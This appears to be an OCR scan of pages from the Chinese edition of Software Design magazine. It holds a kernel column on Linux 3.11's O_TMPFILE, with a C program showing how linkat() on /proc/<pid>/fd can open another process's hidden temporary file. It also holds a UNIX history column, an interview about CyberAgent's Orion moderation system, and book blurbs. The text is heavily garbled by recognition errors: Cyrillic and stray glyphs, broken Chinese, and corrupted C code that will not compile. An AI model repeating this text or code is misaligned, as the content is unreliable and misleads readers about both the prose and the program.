## HS #% Ж 

# # # # 
Writing to page 00 
## #0 Ж 

$ # # $ 
Writing to page 01 
H HS #0 #6 

$ $ # # 
Writing to page 02 
НЕ #0 Ж 

$ $ $ # 
Writing to раде 03 
H HS #% Ж 

$ $ $$ 
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пих 内 核 观 光 游 


用 unlinkO 将 其 清除 。 这 样 的 话 就 可 以 创建 一 
个 其 他 程序 无 法 看 见 ( 也 无 法 打开 ) 的 文件 。 但 
是 ， 实 际 上 这 也 存在 安全 问题 。/proc/< PID>/ 
fd 中 包含 了 文件 名 为 文件 描述 符 且 指 癌 进程 
打开 的 文件 的 符号 链接 。 如 果 对 这 个 符号 链 
接 使 用 创建 链接 的 linkat0 的 AT SYMLINK 
FOLLOW 的 话 ， 本 应 对 其 他 人 都 不 可 见 的 文 
件 就 也 能 被 打开 。 

要 解决 这 个 问题 , 可 以 用 O_TMPFILE 
10_CREAT|O EXCL 创 建文 件 , 这 样 的话 
linkat() 时 融会 报销 ENOENT。 


(Р 使 用 O_TMPFILE 的 程序 


接 下 来 比较 一 下 用 原来 的 方法 和 用 O_ 
TMPFILE 这 两 种 不 同 的 方式 所 写 的 程序 有 何 
不 同 。 代 码 清 单 2 中 的 程序 使 用 fork 一 边 创建 
临时 文件 ， 一 边 尝 试 打 开 这 个 临时 文件 并 查看 
其 内 容 。 

查看 临时 文件 的 操作 写 在 函数 parent() 中 。 
为 知道 对 象 进程 的 ID, 所 以 使 用 linkat0) 
将 “/proc/< 进程 ID >/fd/3” 链接 至 /tmp/target。 
链接 成 功 的 话 ， 之 后 即使 原来 的 临时 文件 被 
close), 也 可 以 通过 /tmp/target 进 行 自由 的 读 写 ， 
让 进程 sleep1 秒 ,并 在 为 一 进程 进行 号 入 。 然后 ， 
查看 问 /tmp/target 写 人 的 内 容 ， 关 闭 生 成 临时 
文件 的 进程 。 

依次 使 用 先前 的 方法 和 O_TMPFILE 创 建 
临时 文件 。 先 前 的 方法 就 是 使 用 mktemp()， 根 
据 文件 名 模板 指定 文件 名 ， 并 用 这 个 文件 名 
创建 和 清除 唯一 的 临时 文件 。 而 O_TMPFILE 


























у 4 运行 实例 
# ./a.out |&ип1д 
Using tmpfile() 
open failed: № such file or directory 


file opened 

Pes 17 

Using 0_TMPFILE 

open failed: No such file or directory 





则 是 从 内 核 头 文件 处 复制 定义 。 从 包含 0_ 
DERECTORY 可 以 看 出 ，O_TMPFILE 打 开 的 
对 象 并 不 是 文件 本 身 而 是 目录 。 

运行 代码 清单 2 中 的 程序 (如 果 “tmp” © 
支持 ext2 之 类 的 O_ TMPFILE 的 文件 系统 的 话 )， 
可 以 得 到 如 图 4 所 示 的 输出 结果 。 而 如 果 使 用 
原来 的 方法 ， 在 这 种 情况 下 i=17 时 在 openO 和 
unlink() 之 间 是 可 以 插入 其 他 操作 的 。 男 一 方面 ， 
使 用 O_TMPFILE 的话 ， 则 在 unlink0 之 前 会 进 
行 原子 操作 ， 无 法 插入 其 他 操作 ， 直 到 最 后 也 
无 法 查看 文件 。 

作为 Linux 独 有 的 功能 ，O_TMPFILE 有 着 
和 O_CLOEXEC 同样 的 便利 性 ， 但 就 笔者 的 杀 
身体 会 来 看 ，O_TMPFILE 还 有 不 足 之 处 。 在 
RC 中 能 把 这 些 部 分 改善 的 话 就 好 了 。 


A Logo 的 变更 


以 上 说 的 都 是 soft-dirty 和 O TMPFILE 的 
相关 内 容 ， 其 实 Linux 3.11 最 显而易见 的 改变 
就 是 启动 时 可 以 看 见 企 儿 Tux 手 持 Windows 图 
标 小 旗 的 样子 (网 5 )。 

可 能 有 人 会 想 为 什么 拿 的 是 Windows 小 旗 ， 
联系 一 下 Linux 3.11 的 代号 就 能 知道 了 。 这 次 
的 代号 是 “Linux for Workgroups”, Linux 3.11 
和 “Windows for Workgroups 3.11” 应 该 是 有 关 
联 的 。 


Ga 结 


这 次 就 Linux 3.10 的 TLP， 以 及 3.11 的 新 功 
能 soft-dirty Ж О TMPFILE 进行 了 解说 。TLP 
原本 是 Google 的 一 个 补丁 , 但 Google 之 前 也 
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Linux 3.11 的 新 功能 
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У (155858 munin plugin 


#include <sys/types.h> 
#include <sys/wait.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <signal.h> 
#include <errno.h> 
#include <string.h> 


#define _ 0_TMPFILE 020000000 
#define 0_TMPFILE ( 0 TMPFILE | 0_DIRECTORY | O_RDWR) 
#define TRY 4096 


#define DIR "/tmp" 


void parent(pid t pid) 

{ 
METAN, 
char dirnameL256]; 
sprintf(dirname, "/proc/%d/fd", pid); 
int olddir = open(dirname, O_RDONLY); 
int newdir = open(DIR, O_RDONLY); 
if (olddir < 0 || newdir < 0) abort(); 


unlink(DIR "/target"); 
tor G= 0; i <TR; D 
if ((r = linkat(olddir, "3", newdir, "target", AT_SYMLINK_FOLLOW)) == 0) 
break; 
perror("open failed"); 
0 
close(olddir); close(newdir); 
if (r != 0) goto out; 


fprintf(stderr, "file орепед\п"); 
sleep(1); 

char buf[256]; 

FILE *ї = fopen(DIR "/target", "г"); 
fgets(buf, 256, f); 

fprintf(stderr, “FICE: 26”, buf); 
fclosef; 


out: 
kill (pid, SIGTERM); 
wait(NULL); 

} 


void writen(int fd, unsigned (опо п) 
{ 
char buf[256]; 
sprintf (buf, “Aldin; M 
write(fd, buf, 256); 
} 


int main(int argc, char *argv[]) 
{ 
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1 EinuX( 内 核 观光 游 


接 前 页 





为 改良 TCP 写 过 补丁 (如 Early Retransmit ) 为 随 看 Linux 3.11 的 soft-dirty 的 引入 ，CRIU 

了 TCP 高 速 化 而 积极 进行 各 种 尝试 ， 只 能 说 真 “的 使 用 变 得 更 加 便利 。 项 目 也 在 募集 CRIU 的 “ 
不 愧 是 Google。 今后 好 像 还 会 进行 名 为 FEC 实际 应 用 事例 。 请 务必 尝试 使 用 一 下 CRIU,，“ o 
( Forward Error Correction ) 的 改良 措施 。 就 新 的 使 用 方法 给 我 们 提出 宝贵 的 建议 。 3 ? ; 








166 








C 


е, 
А 


2 |)-- 5,7 
УШ. LAI #7 


IT 65 # (% 


UNIX 回想 


—y 
| 


b 
| { 
Их ^7? 
5А k ц 
r = 
l r ч 
| \ 
L | 


本 回 我 们 将 从 可 移植 性 的 
角度 回顾 一 下 UNIX 从 诞生 到 
现在 所 走 过 的 发 展 历 程 。 


(=a g UNIX 

1969 4 UNIX ЙЕ: F AT&T 
公司 贝尔 实验 室 的 一 台 DEC 
PDP-7 上 ， 当 时 是 使 用 汇编 语 
言 编写 的 ， 之 后 又 于 1972 年 使 
用 丹尼斯 “里 奇 所 开发 的 C 语 言 
在 PDP-11 上 进行 了 彻底 的 重 与 ， 
从 此 UNIX 在 可 移植 性 上 有 了 
飞跃 性 的 提高 。 

后 来 ，AT&T 公 司 由 于 违 
ДМ. ЕЙТЕ ИК ЛЕ ЕР ЕТ. 
机 行业 ， 于 是 将 UNIX 以 接近 
成 本 的 价格 连同 源 代码 一 起 进 
行 了 大 旋 围 的 推广 ， 从 而 加 快 
了 了 UNIX 向 各 种 计算 机 移植 的 
进程 。 另外， 人们 也 将 bug 反 
僻 到 贝尔 实验 室 进 行 修正 ， 从 
此 形成 了 一 种 开源 的 文化 。 

1979 年 开发 的 Version7 
UNIX 为 后 来 的 两 大 主流 ， 即 
SystemV 系列 和 BSD 系列 奠定 











РУ? 


1R 


N SystemV 
<. 5 BSD 


20 世 纪 80 年 代 到 90 年 代 
初期 , UNIX 可 以 分 为 两 大 系统 ， 
即 本 家 AT&T 公 司 的 System V 
系统 和 加 州 大 学 伯克利 分 校 
( UDB ) 的 BSD 系 统 。 

因为 这 两 套 UNIX 系统 踏 
上 了 相互 独立 发 展 的 道路 ， 所 
以 在 命令 的 有 无 、 系 统 调用 的 
有 无 以 及 通信 功能 的 实现 等 方 
面 ， 都 存在 着 各 种 各 样 的 不 同 
АК. 

就 连 使 用 频率 较 高 的 ls 命 
令 在 默认 情况 下 的 处 理 动 作者 
是 不 同 的 。 执 行 ls 命 令 之 后 的 
输出 结果 ，SystemV 中 是 1 行 
表示 1 个 文件 ， 而 BSD 中 则 是 
用 多 列 (1 行 中 有 多 个 列 ) 表 示 
多 个 文件 。SystemV 如 果 想 与 
BSD 保持 一 致 则 需要 附加 C 选 
项 (大 写字 母 C )， 相 反 BSD 如 
果 想 与 Systemvy 保持 一 致 则 需 
要 附加 1 选项 (数字 1 )。 

图 数 方面 , 令 人 记忆 狂 
新 的 是 内 存 操作 函数 memcpy 
(SystemV 系统 ) 和 bcopy( BSD 

















系统 )， 这 两 个 函数 的 复制 源 路 
径 和 复制 目标 路 径 的 参数 顺序 
是 不 一 样 的 ， 当 时 笔者 曾经 拼 
命 地 去 记忆 过 ( 笑 )。 

SystemV 和 BSD 主要 使 用 
HJ shell 是 Bourne Shell 系 列 和 C 
Shell 系 列 ， 在 版 本 管理 系统 方 
面 二 者 也 不 尽 相 同 ，SystemV 
使 用 的 是 SCCS( Source Code 
Control System )， 而 BSD 使 用 
的 则 是 RCS ( Revision Control 





System )。 

如 上 所 述 ，UNIX 的 两 大 
系统 存在 着 诸多 差异 ， 如 采 需 
要 同时 使 用 这 两 个 不 同 的 系统 ， 
则 需要 随时 在 大 脑 和 喘 体 之 间 
进行 不 集 的 切换 ， 竭尽 可 能 地 
将 为 一 个 不 同 的 环境 与 自己 认 
为 是 主 环境 的 那 一 方 保持 一 致 。 


Фи 有 关 二 者 
Za 不同 号 的 书籍 
在 两 套 UNIX 系统 较为 流 
行 的 20 世 纪 80 年 代 后 半期 到 
90 年 代 前 半期 ， 对 二 者 之 间 的 
差异 进行 深刻 剖析 的 书籍 也 应 
运 而 生 。 
1986 年 出 版 的 4UNIX 工 
А. ,+1в тн ОМА, ЖУЛА 
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社 出 版 )， 从 出 版 至 今 已 经 历时 
27 年 之 入, 但 仍然 在 售 ， 堪 称 
是 一 部 经 典 若 作 , ТЕА А С 
先生 在 UNIX 业界 也 享誉 成 名 。 
该 书 附录 中 记载 了 Systemv 和 
4.2BS 的 全 部 命令 列表 以 及 全 
部 系统 调用 和 因数 列表 ， 包 括 
名 称 和 相应 的 说 明 ， 并 使 用 圆 
圈 标 记 了 在 哪个 系统 中 文 持 ， 
曾经 令 读者 们 受益 菲 浅 。 

1990 年 出 版 的 《便携 式 C 
语言 编程 : 考虑 可 移植 性 的 编 
ERDI (ФК. KEAN 
译 )( 照 片 1 ) 从 可 移植 性 的 角度 
对 C 语 言 编程 进行 了 全 面 介绍 。 
前 半 部 分 介绍 了 C 语 言 的 格式 、 
各 种 处 理 间 的 依存 事项 等 相关 
内 容 ， 后 半 部 分 对 于 C 语 言 
文件 、C 语 言 库 函数 、 系 统 调 
用 以 及 用 户 命 令 一 一 做 了 介绍 ， 
并 且 对 于 每 一 项 在 C 语 言 编 译 
器 或 者 OS 中 的 文 持 程度 ， 都 使 
用 星 号 进行 了 五 个 等 级 的 评价 ， 
星 号 越 多 ， 所 编写 程序 的 可 移 
植 性 就 有 望 越 高 。 


UNIX 战 争 




















1987 年 AT&T 公 司 与 BSD 
OS 的 先驱 Sun 公司 就 共同 开 
发 SystemV Release 4( SVR4 ) 
达成 共识 。 其 他 运 彰 商 唯 疏 
Sun 公 司 在 竞争 中 占据 优势 地 
位 , 于 1998 年 成 立 了 另 一 团体 ， 
即 Open Software Foundation 
(OSF )。 而 AT&T 公司 与 Sun 
公司 为 了 对 抗 OSF, 也 于 
同年 成 立 了 一 个 叫 作 UNIX 
International ( UI ) 的 团体 。 这 两 
个 团体 分 别 开 发 并 发 布 目 己 的 





seoti | 的 古老 传说 (би 
网 络 通讯 与 二 进 制 文件 的 传输 广电 > 


b 


к= 5 Б 





OS 和 用 户 接口 ， 二 者 之 间 的 竞 
争 被 人 们 称 为 “UNIX 战争”。 

SVR4 实 现 了 SystemV = BSD 
的 统合 ， 后 来 获得 了 成 功 。 

笔者 曾经 使 用 的 是 BSD 系 
列 的 Sun OS4, 但 是 后 来 发 展 
到 SVR4 Solaris2 HF, 28165 bI 
及 开发 工具 可 成 办 开锁 入耳 % 
UNIX 给 人 的 感觉 已 经 不 再 是 
面向 开发 者 的 OS 了 ， 而 是 变 成 
了 应 用 程序 的 运行 平台 。 


忆 27 现 在 的 UNIX 
А 
现在 UNIX 的 商标 (trademark ) 
ІЯ The Open Group 所 有 有。 如果 
某 个 OS 要 以 “UNIX” 命 名 ， 则 
必须 完全 符合 一 个 叫 作 Single 
UNIX Specification ( SUS ) 的 操 
作 系 统 标准 规范 ， 而 且 还 需要 
经 过 认证 。SUS 汇 集 了 ANSIC、 
ISO C、POSIX、XPG 等 曾 与 
UNIX 相 关 的 各 种 标准 化 规范 
的 精华 ， 是 操作 系统 标准 规范 
的 集大成 者 。 
只 要 在 The Open Group 的 网 
站 “上 注册 用 户 ， 便 可 以 浏览 或 
者 下 载 SUS 的 最 新 版 本 Version 
4 ( The Single UNIX Specification, 

















è 
| 








Version 4 )。 

UNIX03 和 UNIX98 都 是 OS 
符合 标准 规范 的 品牌 (Open Brand )， 
UNIX03 是 基 于 SUS Version 
3 标准 的 品牌 ,而 UNIX98 则 
是 基于 SUS Version 2 标准 的 品 
牌 。 在 这 里 我 们 可 以 浏览 通过 
UNIX03 认证 和 通过 UNIX98 认 





GD http://www.unix.org/version4/ 


证 的 OS 列 表 ”， 包 括 历 史 久远 
的 HP-UX、Solaris、AIX， 以 及 
ТАЈ Мас OSX 和 今 人 怀念 的 
Tru64、IRIX、UnixWare， 还 可 
以 找到 令 人 耳目 一 新 的 z/OS。 


AS 


本 回 我 们 重新 回顾 了 一 下 
UNIX 的 发 展 历程 ,从 最 初 的 
混沌 状态 ， 到 逐渐 迈 向 整合 上 
统一 ; 从 团体 的 盲目 创建 与 主 
导 权 的 争夺 ， 到 最 终 趋 于 平静 ， 
从 而 最 终 形成 了 我 们 今天 的 
SUS， 让 我 们 深 深 地 体会 到 了 
历史 潮流 的 变迁 。 

应 用 广泛 并 且 开 源 的 Linux 
以 及 *BSD 虽然 不 能 正式 称 之 
为 UNIX, 但 是 *BSD 的 鼻祖 是 
4.4BSDLite， 从 使 用 方法 以 及 
文化 的 角度 而 言 都 可 以 说 它们 
回归 到 了 UNIX 刚 刚 发 布 的 那 
个 年 代 。 但 愿 这 种 文化 能 够 源 
远 流 长 ， 继 续 流 传 下 去 ， 想 必 
也 定 会 如 人 们 所 愿 。 














(2) http://www.opengroup.org/openbrand/ 
register/ 
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专家 视点 


创造 互联 
网 服务 





+ 直击 CyberAgent 工程 师 


来 的 人 们 








实现 安全 放心 的 服务 应 用 一 一 Orion (前 篇 ) 





采访 / 抱 文 : Insight lmage 川 添 贵 生 KAWAZOE Такао mail@insightimagejp 摄影 : 中 村 俊 吉 NAKAMURA Toshiya 


为 了 对 用 户 投 稿 2 实施 审核 ， 从 而 将 那些 
不 恰当 的 内 容 设置 为 非 显示 ，CyberAgent 公 司 开 
发 了 一 套 监控 业务 支援 系统 ， 即 Orion 。 为 此 我 
们 采访 了 曾经 参与 过 该 项 目的 安田 、 蕨 坂 、 内 艾 
和 松井 等 几 位 工程 师 。 


可 以 对 智能 手机 服务 
进行 统一 管理 的 “Orion” 


Ш 








SNS 的 巨大 魅力 之 一 就 是 会 员 之 间 可 以 轻 
松 地 收发 用 户 投稿 ， 实 现 会 员 之 间 的 互动 交流 。 
但 是 有 些 用 户 投稿 的 内 容 可 能 会 不 利于 至 少年 
的 健康 成 长 ， 也 有 很 多 用 户 的 投 稳 内 容 可 能 会 
引发 无 法 预料 的 纠纷 ， 所 以 对 于 投稿 内 容 进行 
审核 监控 是 不 可 或 缺 的 。 

为 了 文 援 该 项 审核 监控 业务 ，CyberAgent 
公司 的 研究 开发 部 门 “Ameba Technology 























O 不 包含 用 户 间 传 递 消息 的 投稿 或 者 图 片 。 


ғ 





Lu -一 :局 


端 是 由 CA Advance 公司 负责 开发 的 


对 Orion 获 取 的 投稿 进行 审核 的 前 端 应 用 。 后 端 是 
H Ameba Technology Laboratory 负责 开发 的 ， 而 前 





译 / 王 凤 波 


Laboratory” 开 发 了 这 套 Orion 系统 。 关 于 启动 
该 项 目的 背景 ， 客 户 服务 部 门 服务 健全 化 小 组 
的 负责 人 松井 小 姐 为 我 们 做 了 如 下 说 明 。 





“现在 CyberAgent 正 在 推进 一 项 叫 作 “ 宏 

图 ”的 计划 ， 就 是 要 在 共用 的 平台 之 上 同时 提 
供 多 个 面向 智能 手机 的 服务 。 与 现 有 的 Ameba 
的 各 个 服务 一 样 ， 在 这 个 宏图 计划 的 平台 之 上 
需要 一 套 系 统 对 用 户 的 投稿 实施 审核 监控 ， 

于 是 我 们 向 Ameba Technology Laboratory 提 出 
了 开发 的 建议 , Orion 就 这 样 应 运 而 生 了 。 (松井 ) 


男 外 ， 松 井 小 姐 还 向 我 们 进一步 讲述 了 想 
要 解决 现 有 的 Ameba 监 控 系 统 中 存在 的 读 题 这 
一 想法 о 


“审核 的 方法 有 很 多 ， 比 如 可 以 在 接 到 用 
户 举 报 之 后 进行 审核 ， 或 者 对 所 有 投稿 逐一 进 
行 审核 。 在 现 有 的 Ameba 中 ， 根 据 使 用 目的 的 
不 同 ， 比 如 举报 监控 或 者 全 盘 监 控 ， 都 分 别 使 
用 了 通过 其 他 系统 所 构建 的 工具 。 因 此 ， 我 们 
考虑 如 果 要 为 宏图 计划 开发 一 套 监 控 工 具 的 话 ， 
就 要 开发 一 套 不 受 监 控 方 法 制约 的 、 可 以 对 用 
户 投稿 进行 一 元 化 统一 监控 的 工具 。”( 松 并 ) 


$ 灵活 应 用 用 长 期 积累 的 


大 规模 数据 处 理 技 术 


Ameba Technology Laboratory 的 安田 先生 
在 初次 听 人 谈 起 Orion 时, 曾 伐 有 兴趣 地 说 :“ 听 
起 来 好 像 很 有 意思 。” 
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“宏图 将 拥有 庞大 的 用 户 群 ， 因 此 可 以 想 
象 监控 工具 将 要 处 理 的 投稿 数据 量 也 将 是 相当 
庞大 的 。 例如， 博客 或 者 now 等 Ameba 服 务 ， 
一 天 之 内 接收 的 投稿 数量 就 多 达 几 百 万 条 ， 而 
宏图 的 投稿 数量 很 有 可 能 更 多 。 但是， 这 一 
点 正 是 技术 工程 师 们 颇 感 兴趣 的 地 方 ， 况 且 
Ameba Technology Laboratory 长 期 以 来 也 积累 
了 一 套 自 己 的 大 规模 数据 处 理 技 术 ， 所 以 我 们 
认为 这 个 计划 是 可 行 的 。 (安田 ) 


Orion 开 发 项 目 是 由 Ameba Technology 
Laboratory 和 CyberAgent А Р үн] СА Аруапсе 
共同 推进 的 ， 并且 由 CA ADvance 负 和 贡 实 际 的 
监控 业务 。Ameba Technology Laboratory 负责 
Orion 后 端的 开发 业务 ，CAADvance 则 在 后 
端 所 提供 的 API 的 基础 之 上 负责 前 端的 开发 
Lie 





消除 单 点 故障 


实现 局 可 用 性 





Orion 中 使 用 了 Flume 日 志 处 理 软件 、 
Hbase 数 据 库 和 Solr 搜 索引 擎 等 开源 软件 。 通 
过 Flume 将 用 户 投稿 以 日 志 的 形式 导 和 人， 再 经 
过 一 定 的 处 理 之 后 将 其 存储 到 Hbase 数 据 库 ， 
然后 可 以 通过 Solr 对 存储 在 Hbase 数 据 库 中 的 
用 户 投稿 进行 过 滤 查 询 。 





| | 
| 

| 

| | 
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Жн, AERE ТАИ Г Hbase 设 计 
的 艰辛 之 处 。 


“Orion 采 用 Hbase 数 据 库 的 主要 原因 是 可 
以 挪用 已 经 构建 好 的 Hbase 多 租户 基础 设施 。 
前 一 阶段 处 理 过 的 用 户 投稿 数据 将 会 被 存储 到 
Hbase Р, 但 是 因为 数据 量 很 大 ， 如 果 设 计 不 当 ， 
就 会 产生 获取 用 户 投稿 的 时 间 超 长 等 苏 端 为 
了 避免 类 似 问题 的 发 生 ， 确 保 高 效 地 将 用 户 投 
稿 导 入 Hbase 中 ， 在 设计 的 构思 之 上 我 们 付出 
了 很 大 的 艰辛 。( 内 芯 ) 


当 问 及 Orion 开 发 过 程 中 的 注意 点 时 ， 腾 
坂 先生 告诉 我 们 是 尽 可 能 地 排除 单 点 故障 。 


“负责 投稿 审核 业务 的 CAADvance 对 投稿 
实施 了 24 小 时 不 间断 监控 ， 自 然 要 求 系统 也 
要 保持 24 小 时 连续 运转 。 如 果 系 统 停 止 运行 
的 话 ， 监 控 自 然 也 就 无 法 实施 ， 因 此 系统 的 构 
建 基本 上 排除 了 单 点 故障 。( 蕨 坂 ) 


另外 ， 据 安田 先生 介绍 ， 即 使 发 生 系统 故 
障 ， 宕 机 时 间 “ 最 长 也 就 1 分 钟 左 右 ”， 有 力 地 
确保 了 系统 的 高 可 用 性 。 

我 们 将 在 后 篇 继续 为 大 家 介绍 Orion 的 具 
体 处 理 流程 等 相关 内 容 ， 敬 请 期 竺 。 





人 Were 日 本 顶级 软件 开发 日 本 IT 业 革新 进化 的 | ише 


Гуе» 实践 性 技术 读物 | 秘密 “ 软 动力 | 独家 引进 


{Software _ Design 中文 版 》 没 有 特别 流行 的 方法 论 ， 里 面 讲 的 内 容 着 眼 点 都 非常 小 ， 可 能 给 人 感觉 不 
够 时 三。 但 是 恰恰 是 这 种 实用 主义 ， 使 得 它 成 为 学 习 技术 的 手边 书 ， 不 会 让 人 觉得 只 知道 概念 但 无 从 下 手 。 
书 中 的 内 容 还 是 给 了 我 很 多 惊喜 的 。 比 如 即便 我 自 认 为 对 awk 已 经 很 熟悉 了 ， 但 是 awk 调试 一 篇 还 是 让 我 学 
到 很 多 新 东西 。 这 是 我 见 过 的 关于 awk 最 好 的 合集 文章 。 后 面 的 Mac 特 辑 也 非常 有 意思 ， 看 完 后 绝对 会 产生 

“每 个 程序 员 都 应 该 有 个 Mac， 外 加 HHKB” 的 感觉 ， 所 以 一 定 要 买 一 本 给 你 者 板 看 看 。 还 有 大 家 要 特别 关 
注 内 核 动态 的 文章 。 日 本 工程 师 对 内 核 细 节 的 关注 程度 远 超 我 们 绝 大 部 分 人 ， 给 我 们 上 了 非常 朴实 的 一 课 。 
一 一 QneAPM 首 席 运 营 官 程 显 峰 
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这 是 一 本 对 于 程序 员 来 讲 很 实在 的 杂志 ， 里 面 涉 及 的 内 容 从 软件 设计 、 工 具 使 用 再 到 技术 工作 经 验 温 
谈 ， 扫 宽 了 程序 员 在 技术 上 的 视野 ， 也 很 荣幸 《存储 系统 的 那些 事 ) 能 被 选 入 此 书 ， 这 篇 文章 表达 了 我 对 存 
依 系 统 的 理解 和 构建 ， 七 牛 云 存 储 就 是 在 这 样 的 理解 下 产生 并 在 新 存储 的 路 上 走 得 很 好 ， 相 信和 技术 的 创造 没 
有 尽头 。 

一 一 七 牛 云 存 信 CEO 许 式 伟 


本 书 内 容 丰 富 、 趣 味 性 强 。 有 家 庭 网 络 建设 ,， 有 极 具 创意 的 产品 讲解 ， 也 有 对 未 来 科 按 的 展望 ， 还 深入 
介绍 了 sed/AWK 文 本 处 理工 具 、Mac 的 用 法 ， 其 中 还 包括 一 些 有 意思 的 小 命令 ， 如 say 可 以 让 出 一 段 文 
字 ， 对 于 软件 设计 人 员 极 具 参考 价值 。 

一 一 极 客 学 院 创 始 人 新 岩 


{Software Design P XIR} 是 一 本 内 容 详实 的 技术 杂志 ， 在 里 面 总 能 找到 你 感 兴趣 的 前 沿 科技 或 技术 
知识 。 它 不 仅 从 方法 论 的 层面 前 述 了 软件 设计 和 开发 的 原则 ， 还 深入 阐释 了 云 计 算 。 虚拟 化 、 中 间 件 、 分 布 
式 、 内 核 开 发 等 技术 细节 ， 甚 至 细致 到 每 一 条 代码 ， 由 内 而 外 地 培养 工程 师 的 技术 素养 ， 激 发 出 工程 师 无 尽 
的 创造 力 。 

一 一 青云 QingCloud 联 合 创 始 人 &CEO 黄 允 松 (Richard Huang ) 


目前 市 面 上 充斥 的 技术 类 书籍 繁多 ， 但 真正 有 质量 、 值 得 持续 关注 的 不 多 。 作 为 日 本 主流 的 计算 机 技术 
杂志 ，5ofhwere Design 确实 起 到 了 帮助 程序 员 更 实时 、 深 入 了 解 前 沿 技术 ， 扩 展 视 野 ， 提 升 技能 的 作用 。 

感谢 图 灵 公 司 引进 版 权 ， 把 精彩 的 内 容 分 享 给 更 多 国内 寻求 新 知 不 断 学 习 的 的 程序 员 们 。 
一 一 拉 勾 网 技术 总 监 周亮 


这 本 书 可 爱 且 细 虐 ， 读 起 来 让 人 觉得 很 享受 ， 不 知 不 党 惑 陷 人 到 软件 设计 的 那 种 美 里 去 了 。 比 起 一 

些 把 软件 设计 描述 得 面面俱到 的 书 来 说， 这 本 书 并 不 这 样 做 ， 而 是 给 出 对 关键 技术 点 与 相关 工程 环节 的 细 脖 
描述 ， 并 给 出 一 些 当 下 主流 且 具 备 代表 性 的 技术 文章 或 观点 。 软 件 设计 原来 也 可 以 这 么 有 意思 。 

一 一 知道 创 宇 技术 副 总 裁 余弦 
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看 元 了 


如 果 您 对 本 书 内 容 有 疑问 ， 可 发 邮件 至 contact@turingbook.com， 会 有 编辑 或 作 译 者 协助 
答疑 。 也 可 访问 图 灵 社 区 ， 参 与 本 书 讨论 。 


如 果 是 有 天 电子 书 的 建议 或 问题 ， 请 联系 专用 客服 邮箱 : ebook@turingbook.com。 
在 这 里 可 以 找到 我 们 : 


微 博 @ 图 灵 教 育 : 好 书 、 活 动 每 日 播报 

ME @ 图 灵 社 区 : 电子 书 和 好 文章 的 消息 

微 博 @ 图 灵 新 知 : 图 灵 教 育 的 科普 小 组 

微 信 图 灵 访 谈 : ituring_interview， 讲 述 码 农 精 彩 人 生 
微 信 图 灵 教 育 : turingbooks 


